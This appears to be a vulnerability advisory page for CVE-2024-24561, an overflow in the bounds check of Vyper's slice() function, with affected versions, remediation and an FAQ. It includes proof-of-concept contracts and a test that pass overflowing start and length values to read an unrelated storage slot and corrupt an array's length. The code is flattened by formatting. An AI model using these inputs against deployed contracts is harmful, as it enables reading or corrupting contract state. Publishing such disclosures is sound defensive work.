CVE-2024-24561: Vyper bounds check on built-in `slice()` function can be overflowed

Published Feb 1, 2024
·
Updated

Summary

The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.

If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.

This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

A contract search was performed and no vulnerable contracts were found in production.

tracking in issue https://github.com/vyperlang/vyper/issues/3756. patched in https://github.com/vyperlang/vyper/pull/3818.

Details Here the flow for storage is supposed, but it is generalizable also for the other locations.

When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:

python if not isadhocslice: if lengthliteral is not None: if lengthliteral < 1: raise ArgumentException("Length cannot be less than 1", lengthexpr)

if lengthliteral > argtype.length: raise ArgumentException(f"slice out of bounds for {argtype}", lengthexpr)

if startliteral is not None: if startliteral > argtype.length: raise ArgumentException(f"slice out of bounds for {argtype}", startexpr) if lengthliteral is not None and startliteral + lengthliteral > argtype.length: raise ArgumentException(f"slice out of bounds for {argtype}", node)

At runtime, we perform the following equivalent check, but the runtime check does not account for overflows: python ["assert", ["le", ["add", start, length], srclen]], # bounds check

The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.

In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.

POC: OOB access

For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.

python @version ^0.3.9

x: public(Bytes[64]) secret: uint256

@external def init(): self.x = empty(Bytes[64]) self.secret = 42

@external def sliceit(start: uint256) -> Bytes[64]: return slice(self.x, start, 64)

We can use the following manual storage to demonstrate the vulnerability: json {"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}

If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2256 - 63) / 32, which is what was set in the above storage layout: solidity function testsliceerror() public { c = SuperContract(deployer.deploywithcustomstorage("src/loose/", "sliceerror", "sliceerrorstorage")); bytes memory result = c.sliceit(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63 console.logBytes(result); }

The result is that we return the secret value from storage: Logs: 0x0000...00002a POC: length corruption OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.

python d: public(Bytes[256]) @external def test(): x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2256-1 self.d = b"\x01\x02\x03\x04\x05\x06" # s : Bytes[256] = slice(self.d, 1, x) assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935 The corruption of length can be then used to read dirty memory: python @external def test(): x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2256 - 1 y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232 z: uint96 = 1 if True: placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y] s :String[32] = slice(uint2str(z), 1, x) # uint2str(z) == "1" #print(len(s)) assert slice(s, 1, 2) == "22"

Impact

The built-in slice() method can be used for OOB accesses or the corruption of the length slot.

Other sources

Vyper is a pythonic Smart Contract Language for the ethereum virtual machine. In versions 0.3.10 and earlier, the bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals. If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check. This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

— NVD

Affected Software

2 affected componentsFixes available
pip/vyper<=0.3.10
0.4.0
vyperlang Vyper Python<=0.3.10

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/vyper to a version that resolves this vulnerability.

    Fixed in 0.4.0
  2. Upgrade

    Upgrade vyper to a version that resolves this vulnerability.

    Patch https://github.com/vyperlang/vyper/pull/3818

Event History

Feb 1, 2024
CVE Published
via MITRE·04:37 PM
Data Sourced
via MITRE·04:37 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:51 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-24561?

CVE-2024-24561 has been classified with a medium severity due to its potential impact on smart contract execution.

2

How do I fix CVE-2024-24561?

To fix CVE-2024-24561, upgrade to Vyper version 0.4.0 or later.

3

What is the vulnerability in CVE-2024-24561?

CVE-2024-24561 involves a bounds check issue in the slicing function which can potentially allow for overflow if start and length are not literals.

4

Which versions of Vyper are affected by CVE-2024-24561?

Vyper versions up to and including 0.3.10 are affected by CVE-2024-24561.

5

Can CVE-2024-24561 be exploited in production environments?

Yes, CVE-2024-24561 can be exploited in production environments if vulnerable versions of Vyper are used.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203